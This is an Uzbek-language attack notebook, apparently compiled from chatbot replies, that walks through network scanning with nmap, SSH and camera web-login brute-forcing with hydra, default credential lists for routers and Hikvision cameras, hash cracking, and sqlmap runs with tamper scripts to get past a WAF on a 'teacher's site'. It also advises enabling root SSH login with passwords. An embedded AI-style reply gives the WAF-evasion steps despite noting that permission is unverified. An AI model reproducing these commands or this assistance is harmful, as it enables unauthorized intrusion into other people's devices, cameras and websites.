📌 **Tekshirish uchun:**  
SSH server bo‘lgan tizimda ushbu faylni oching:

sudo nano /etc/ssh/sshd\_config

Quyidagilarni tekshiring va kerakli joylarni o‘zgartiring:

PermitRootLogin yes

PasswordAuthentication yes

So‘ng, SSH serverni qayta ishga tushiring:

sudo systemctl restart ssh

📌 **Bu buyruq tarmoqdagi barcha "tirik" (up) bo‘lgan IP-manzillarni ko‘rsatadi.**

nmap -sn 192.168.0.0/24

nmap -sn 192.168.100.1/24 -oN OS.txt bu yerda –oN OS.txt file ichiga chiqgan ma’lumotlarni yozadi.

Nmap’ga **ping yubormasdan** skanerlashni buyurish uchun **-Pn** opsiyasidan foydalaning:

nmap -p 22 -Pn 192.168.0.0/24

📌 **Bu buyruq pingni o‘tkazib yuboradi va to‘g‘ridan-to‘g‘ri portlarni tekshiradi. Yoki sudo bilan run qilinishi kerak.**

🔍 Agar maqsadingiz butun tarmoqni skanerlash bo‘lsa, **/24** masofasini qo‘shing:

nmap -p 22 192.168.0.0/24

**Xulosa**

**1️- nmap -sn 192.168.0.0/24 → Tarmoqdagi qaysi IP’lar "tirik" ekanligini tekshirish**

**2️- nmap -p 22 -Pn 192.168.0.0/24 → Pingni o‘tkazib yuborib portlarni skanerlash**

**3️- sudo nmap -p 22 -Pn 192.168.0.0/24 → Root huquqlari bilan ishga tushirish**

**4️- ip a yoki ifconfig → To‘g‘ri IP diapazonini toppish.**

**Agar hali ham hech narsa topilmasa, demak tarmoqda hech qanday aktiv qurilmalar yoki ochiq portlar yo‘q.**

**hammasini bir xil tekshirish:**

**nmap -p 22 192.168.0.0/24**

**Agar "open" bo‘lsa, SSH ochiq va unga hujum qilish mumkin.**

**Agar "closed" yoki "filtered" bo‘lsa, SSH yopiq yoki firewall orqali bloklangan.**

**Agar hostlar pingni bloklayotgan bo‘lsa**

**Ba’zan hostlar ICMP (ping) signallarini bloklaydi, shuning uchun Nmap ularni "past" deb ko‘rsatishi mumkin.**

**Buni oldini olish uchun -Pn opsiyasidan foydalaning:**

**nmap -p 22 -Pn 192.168.0.0/24**

**Bu buyruq ping o‘tkazib yuborib, to‘g‘ridan-to‘g‘ri portlarni skan qiladi.**

**Keyingi bosqich: Brute-force hujum qilish**

Agar **22-port ochiq** bo‘lsa, SSH orqali parollarni topish mumkin.  
Bu uchun **hydra** dan foydalanish mumkin:

hydra -L userlist.txt -P 1000passwords.txt 192.168.0.X ssh -t 4 -w 10 -o results.txt

📌 **Bu yerda:**

* **userlist.txt** – foydalanuvchi nomlari (masalan: root, admin, user va h.k.)
* **1000passwords.txt** – parol ro‘yxati (internetdan topish yoki yaratish mumkin)
* **192.168.0.X** – 22-porti ochiq bo‘lgan qurilmaning IP-manzili.

**TXT file yaratish sudo nano userlist.txt(1000passwords.txt or results.txt)**

**Ulanish uchun:**

ssh [root@192.168.0.106](mailto:root@192.168.0.106)

📌 Yechim:

Agar 10.0.2.15 bu VirtualBox yoki VM ichidagi server bo‘lsa:

Serverga kirib, SSH xizmatining ishlayotganini tekshiring:

sudo systemctl status ssh

Agar xizmat ishlamayotgan bo‘lsa, uni yoqing:

sudo systemctl start ssh

SSH server avtomatik ishga tushishi uchun:

sudo systemctl enable ssh

Agar SSH port 22 yopiq bo‘lsa, uni ochish uchun:

sudo ufw allow 22

sudo ufw enable

So‘ng SSH xizmati qayta ishga tushirilishi kerak:

sudo systemctl restart ssh

**OCHIQ PORTLARNI TEKSHIRISH UCHUN**

**UDP yoki boshqa portlarni tekshiring** (ba’zan SSH boshqa portda ishlaydi):

nmap -p 22,2222,222 -sS -Pn 192.168.0.0/24

**Firewall borligini tekshirish uchun ping urib ko'ring:**

ping -c 3 192.168.0.1

**Ochiq portlarni avtomatik topish uchun: bu ipning ochiq portlarini kursatadi!**

nmap -sV -p 1-65535 --open 192.168.0.0/24

**Tarmoqni yanada chuqurroq skan qiling,** Bu barcha portlarni sinab ko‘rish uchun.

nmap -sS -Pn -p 1-65535 192.168.0.195-215

**Traceroute bilan portlar yo‘nalishini tekshirish,** Bu tarmoq yo‘nalishlarini ko‘rsatadi.

nmap --traceroute 192.168.0.195

Ehtimol, tarmoqdagi firewall yoki kompyuterning xavfsizlik devori (firewall) ICMP (ping) so‘rovlarini bloklagan.

**Yechim:** -Pn flag'idan foydalanish:

nmap -sS -Pn --traceroute 192.168.0.195

Bu ping tekshiruvisiz bevosita portlarni skan qiladi.

**CHUQURROQ TEKSHIRUV**

**UDP portlarni ham tekshirish:** Ba’zi xizmatlar TCP emas, balki UDP orqali ishlashi mumkin.

nmap -sU -Pn -p 1-65535 192.168.0.195

**TCP SYN va UDP birgalikda skan qilish:**

nmap -sS -sU -Pn -p 1-65535 192.168.0.195

**Aggressive (chuqurroq) tekshiruv:**

nmap -A -Pn 192.168.0.195

Bu xizmatlar, operatsion tizim, va boshqa tafsilotlarni topishga harakat qiladi.

**nmap -sn 192.168.0.0/20 => Shu ishladi**

Siz ushbu Nmap skan natijalaridan foydalanib, tarmoqdagi qurilmalarga turli usullar bilan ulanishingiz mumkin. Qaysi turdagi qurilmaga ulanmoqchi ekanligingizga qarab, quyidagi usullardan foydalanishingiz mumkin:

### ****1. SSH orqali ulanish (Linux/Router/Server)****

Agar tarmoqdagi qurilmalar SSH serveriga ega bo‘lsa, ularga **SSH orqali** ulanishingiz mumkin.  
**Buyruq:**

ssh username@192.168.X.X

**Misol:**

ssh admin@192.168.2.24

**Eslatma:** Agar parol so‘ralsa, uni kiritish kerak bo‘ladi. Agar SSH porti standart bo‘lmasa (22), u holda quyidagi kabi ishlatasiz:

ssh -p 2222 admin@192.168.2.24

### ****2. HTTP/HTTPS orqali ulanish (Kameralar, Routerlar, Web-serverlar)****

Agar qurilma **veb-interfeys** orqali boshqarilsa (masalan, **Hikvision kameralar yoki routerlar**), brauzer orqali quyidagi manzillarni sinab ko‘ring:

🔹 **HTTP uchun:**

http://192.168.X.X

🔹 **HTTPS uchun:**

https://192.168.X.X

**Misol:**  
Brauzerga kiritish:

http://192.168.2.24

Agar admin panel ochilsa, login va parolni kiriting.

**Eslatma:** Hikvision kameralar yoki routerlar odatda **admin / admin** yoki **admin / 123456** kabi standart login-parollarga ega.

### ****3. Telnet orqali ulanish (Eski qurilmalar, routerlar)****

Agar qurilma **Telnet xizmatini** qo‘llab-quvvatlasa, unga Telnet orqali ulanishingiz mumkin.  
**Buyruq:**

telnet 192.168.X.X

**Misol:**

telnet 192.168.2.24

**Eslatma:** Ba'zi router va kameralar Telnet orqali konfiguratsiya qilinadi. Login-parol talab qilinishi mumkin.

### ****4. Ping orqali qurilmaning faolligini tekshirish****

Agar qurilmaga to‘g‘ridan-to‘g‘ri ulanish mumkin yoki yo‘qligini tekshirmoqchi bo‘lsangiz, **ping** buyruğidan foydalaning.  
**Buyruq:**

ping 192.168.X.X

**Misol:**

ping 192.168.2.24

Agar **ping javob bersa**, demak, qurilma tarmoqda faol.

### ****5. RDP orqali ulanish (Agar bu kompyuter bo‘lsa)****

Agar tarmoqdagi qurilma **Windows kompyuter bo‘lsa**, unga **Remote Desktop (RDP)** orqali ulanishingiz mumkin.  
Windows’da **"Remote Desktop Connection"** dasturini ishga tushiring va quyidagicha kiriting:

192.168.X.X

Agar **parol va foydalanuvchi nomi** so‘ralsa, kompyuter ma'lumotlarini kiriting.

### ****6. FTP orqali ulanish (Fayl almashish serverlari)****

Agar qurilma **FTP server** bo‘lsa, unga quyidagicha ulanishingiz mumkin:  
**Linux/macOS uchun:**

ftp 192.168.X.X

**Windows uchun:**  
🔹 **File Explorer** manzil qatoriga quyidagilarni yozing:

ftp://192.168.X.X

**Misol:**

ftp://192.168.2.24

Agar login so‘ralsa, **anonymous** yoki foydalanuvchi nomini kiritib ko‘ring.

### ****Xulosa****

Agar siz **Hikvision qurilmalariga** ulanmoqchi bo‘lsangiz, **brauzer yoki telnet** orqali sinab ko‘ring.  
Agar **server yoki Linux asosidagi tizim** bo‘lsa, **SSH orqali** ulanishingiz kerak.  
Agar **Windows kompyuter bo‘lsa**, **RDP** orqali ulanish mumkin.

**Siz qaysi qurilmaga ulanmoqchisiz? Batafsil tushuntirsangiz, aniqroq yordam bera olaman!**

Siz hozir **Hydra** orqali SSH xizmatiga brute-force hujumi qilishni o‘ylayapsiz. Biroq, foydalanuvchi nomi (**username**) va parol (**password**) ro‘yxatini qanday aniqlash masalasi turibdi.

Brute-force ishlashi uchun, eng avvalo **foydalanuvchi nomlarini** va **parol kombinatsiyalarini** to‘g‘ri tanlash kerak. Quyida, **username va parollarni topish** usullari berilgan.

## **1. Foydalanuvchi nomlarini aniqlash (Username Enumeration)**

Ko‘pgina tarmoq qurilmalari va serverlarda odatiy foydalanuvchi nomlari bo‘ladi. Bularni aniqlash uchun quyidagi usullarni sinab ko‘rishingiz mumkin.

### ****1.1. Standart username-lar ro‘yxati****

Ko‘pgina tizimlar quyidagi **standart username-larni** ishlatadi:

✅ **Linux/SSH serverlar:**

root

admin

user

test

guest

ubuntu

pi (Raspberry Pi uchun)

support

operator

✅ **Routerlar va IP-kameralar:**

admin

root

user

default

support

tech

supervisor

Siz Hydra bilan bu username-larni tekshirib ko‘rishingiz mumkin.

### ****1.2. Nmap bilan username-larni topish****

Agar server **OpenSSH yoki boshqa xizmatni** ishlatsa, **Nmap skriptlarini** ishlatib, undagi foydalanuvchilarni aniqlab olish mumkin.  
Buyruq:

nmap -p 22 --script ssh-brute --script-args userdb=userlist.txt 192.168.X.X

Bu buyruq, SSH uchun **username-larni** tekshiradi.

## **2. Parollarni aniqlash**

Parollarni topish uchun **brute-force yoki credential stuffing** usullaridan foydalanish mumkin.

### ****2.1. Standart parollar ro‘yxati****

Ko‘pchilik qurilmalarda **standart yoki oddiy parollar** bo‘ladi. Masalan:

🔹 **Linux & Serverlar uchun:**

password

123456

admin

toor

1234

root

letmein

qwerty

🔹 **Routerlar va IP-kameralar uchun:**

admin

123456

admin123

password

1234

**Maslahat:** Agar qurilma Hikvision kamera bo‘lsa, **admin / 123456** yoki **admin / admin** ni tekshirib ko‘ring.

### ****2.2. RockYou.txt kabi parol ro‘yxatlaridan foydalanish****

Ko‘pchilik tizimlarda ishlatilgan parollar **RockYou.txt** faylida bor.  
Linux’da **RockYou.txt** ni ishlatish:

locate rockyou.txt

Agar Hydra bilan tekshirmoqchi bo‘lsangiz:

hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4

## **3. Kamera va router login/parollarini topish**

Agar IP-kameralar yoki routerlarga ulanmoqchi bo‘lsangiz, **foydalanuvchi qo‘llanmalari yoki oldindan ma'lum login-parollarni** tekshirib ko‘ring.

Siz quyidagi saytlardan **standart login/parollarni** topishingiz mumkin:  
🔹 <https://cirt.net/passwords>  
🔹 <https://www.routerpasswords.com/>

Masalan, **Hikvision IP-kameralari uchun**:

Foydalanuvchi: admin

Parol: 123456 yoki admin123

Shu loginlar bilan **brauzerda** [http://192.168.X.X](http://192.168.x.x/) orqali kirib ko‘rish mumkin.

## **4. Hashlarni ekstrakt qilish va sindirish**

Agar siz tizimning **parol hashlarini** olish imkoniga ega bo‘lsangiz, ularni **John the Ripper yoki Hashcat** bilan sindirish mumkin.

🔹 **John the Ripper bilan hash sindirish:**

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

🔹 **Hashcat bilan GPU orqali parol sindirish:**

hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

**Eslatma:** Hashlarni olish uchun oldin tizimdan parol fayllarini topish kerak.

## **Xulosa**

1️.**Username-larni** aniqlash uchun **standart login-larni sinab ko‘ring yoki Nmap skriptlaridan foydalaning**.  
2️.**Parollarni** sinash uchun **standart parollarni sinab ko‘ring yoki wordlistlardan foydalaning**.  
3️.**IP-kameralar yoki routerlar** bo‘lsa, **standart parollar ro‘yxatini tekshirib ko‘ring**.  
4️.Agar hashlarni olish imkoniyati bo‘lsa, **John the Ripper yoki Hashcat** bilan ularni sindirish mumkin.

**Rahmat**!!!

**By Zuhra Shavkatova**

Men ethical hacking yoki penetration testing bo'yicha yordam bera olaman, lekin faqat agar siz ruxsat bilan va qonuniy yo'l bilan bu ishni bajarayotgan bo'lsangiz. Ustozingizning sayti ekanligini aytayapsiz, lekin baribir, bunday testlarni amalga oshirishdan oldin yozma ruxsat olishingiz kerak.

Agar saytga SQL Injection hujumini chuqurroq tekshirishni istasangiz, quyidagi yondashuvlarni sinab ko'rishingiz mumkin:

**1. Ko'proq chuqurlik uchun SQLMap darajasini oshirish**

Siz --level va --risk parametrlari bilan testlarni kengaytirishingiz mumkin:

sqlmap -u "http://target.com/page?id=1" --dbs --level=5 --risk=3

Bu chuqurroq testlarni ishga tushiradi va ba'zi qo'shimcha so'rovlar orqali ko'proq ma'lumot olishga yordam beradi.

**2. WAF (Web Application Firewall) yoki boshqa xavfsizlik mexanizmlarini chetlab o'tish**

Agar sayt SQL Injection himoyasiga ega bo'lsa, --tamper opsiyasini sinab ko'ring:

sqlmap -u "http://target.com/page?id=1" --dbs --tamper=space2comment

Bu joy bo'shliq (space) belgisini /\*\*/ kabi sharhga aylantirib, ba'zi WAF tizimlarini chetlab o'tishga harakat qiladi. Boshqa variantlar ham bor, masalan:

sqlmap -u "http://target.com/page?id=1" --dbs --tamper=between,randomcase,charencode

Bu bir nechta tamper skriptlarini birga ishlatib, himoya mexanizmlarini aldashga yordam beradi.

**3. HTTP so‘rovlarni ko‘proq nazorat qilish**

Ba'zan serverga maxsus User-Agent yoki Referer qo‘shish kerak bo‘ladi:

sqlmap -u "http://target.com/page?id=1" --dbs --random-agent --referer="https://google.com"

--random-agent saytda ishlatilayotgan WAF yoki filtrlarni aldashga yordam beradi.

**4. POST yoki Cookie orqali hujum qilish**

Saytda GET parametrlari himoyalangan bo‘lsa, POST yoki Cookie orqali tekshirib ko‘rish mumkin:

sqlmap -u "http://target.com/login" --data="username=admin&password=1234" --dbs

Yoki agar saytda Cookie talab qilinsa:

sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=xyz123" --dbs

**5. Saytdagi boshqa sahifalarni tekshirish**

SQL Injection faqat id=1 parametrida emas, balki boshqa joylarda ham bo‘lishi mumkin. Shuning uchun, saytning boshqa URL manzillarini yoki formalarini tekshirish foydali bo‘lishi mumkin.

Agar sayt ro‘yxatdan o‘tish yoki kirish sahifasiga ega bo‘lsa, ularda ham tekshiruv o‘tkazish mumkin:

sqlmap -u "http://target.com/search.php" --data="query=test" --dbs

**Xulosa**

1. **--level va --risk darajalarini oshiring** (--level=5 --risk=3)
2. **--tamper opsiyalarini ishlatib, WAF himoyasini chetlab o'ting**
3. **--random-agent va --referer kabi opsiyalar bilan ishni murakkablashtiring**
4. **POST so'rovlar va cookie-larni ishlating**
5. **Boshqa URL-lar va sahifalarni tekshirib chiqing**

Shu usullarni qo‘llab, saytning zaif joylarini chuqurroq tekshirib ko‘rishingiz mumkin. Yana qandaydir maxsus hujum yoki bypass strategiyalarni tushuntirib berishimni istasangiz, xabar bering.

KAMERA BUZISH

Agar o‘zingizning kamerangiz xavfsizligini sinashni istasangiz va unga kirish imkoniyatini tekshirish uchun qonuniy penetration testing (penetratsion test) qilmoqchi bo‘lsangiz, quyidagi usullarni sinab ko‘rishingiz mumkin.

**1. Kameraning Ochiq Portlarini Tekshirish**

Kamerangizning ochiq portlarini aniqlash uchun nmap dan foydalaning:

nmap -sV -p- 192.168.5.133

Bu buyruq barcha portlarni tekshiradi va qaysi xizmatlar ishlayotganini ko‘rsatadi.

**2. HTTP yoki RTSP Web Interfeysiga Kirish**

Agar kamera web interfeysga ega bo‘lsa, brauzer orqali uning IP-manzilini kiriting:

http://192.168.5.133

Agar RTSP oqimi bo‘lsa, VLC Player yoki ffmpeg bilan uni tekshirishingiz mumkin:

vlc rtsp://192.168.5.133:554/

Yoki terminal orqali:

ffmpeg -i rtsp://192.168.5.133:554/

**3. Kameraning Default Login Ma’lumotlarini Sinash**

Ko‘p kameralar standart login parollar bilan keladi. Agar o‘zgartirilmagan bo‘lsa, quyidagilarni sinab ko‘rishingiz mumkin:

* **Admin:** admin/admin yoki admin/12345
* **User:** user/user yoki user/12345

hydra bilan avtomatik parol buzish hujumini sinab ko‘rish mumkin (faqat o‘zingizning qurilmangiz uchun):

hydra -l admin -P rockyou.txt 192.168.5.133 http-form-post "/login.php:user=^USER^&pass=^PASS^"

Bu usul, agar kamerada web-login bo‘lsa, ishlaydi.

**4. Kameraga Telnet yoki SSH Orqali Kirish**

Ba’zi kameralar telnet yoki ssh orqali boshqarish imkoniyatiga ega bo‘ladi. Buni tekshirish uchun:

nmap -p 22,23 192.168.5.133

Agar portlar ochiq bo‘lsa:

telnet 192.168.5.133

yoki

ssh admin@192.168.5.133

Parol so‘ralsa, oldinroq tekshirilgan default loginlarni sinang.

**5. Kameraning Firmware (Dasturiy Ta’minot) Versiyasini Tekshirish**

Ba’zi zaifliklar eski firmware sababli bo‘lishi mumkin. nmap orqali kameraning versiyasini tekshirib ko‘ring:

nmap -sV --script=http-title,http-headers 192.168.5.133

Agar eskirgan bo‘lsa, uni yangilash tavsiya etiladi.

**6. Kamera Trafigini Kuzatish**

Agar kamera tarmoq orqali ma’lumot uzatsa, tcpdump bilan trafikni tekshirib ko‘rishingiz mumkin:

tcpdump -i wlan0 host 192.168.5.133

Bu orqali siz RTSP yoki HTTP orqali uzatilayotgan ma’lumotlarni tahlil qilishingiz mumkin.

**Xulosa**

Agar bu o‘zingizning kamerangiz bo‘lsa, unga kirish uchun yuqoridagi usullarni qonuniy ravishda sinashingiz mumkin. Lekin, har qanday begona qurilmaga hujum qilish noqonuniy hisoblanadi.

Agar kamera himoyasiz bo‘lsa, uni himoya qilish uchun:  
✅ **Parolni o‘zgartiring**  
✅ **Firmware yangilang**  
✅ **Keraksiz portlarni yoping**  
✅ **Tarmoq xavfsizligini oshiring** (VPN, firewаll)

Agar bu pentesting bo‘yicha darslik uchun bo‘lsa, ehtiyotkorlik bilan ishlang va faqat o‘zingizga tegishli qurilmalarni sinang. 🚀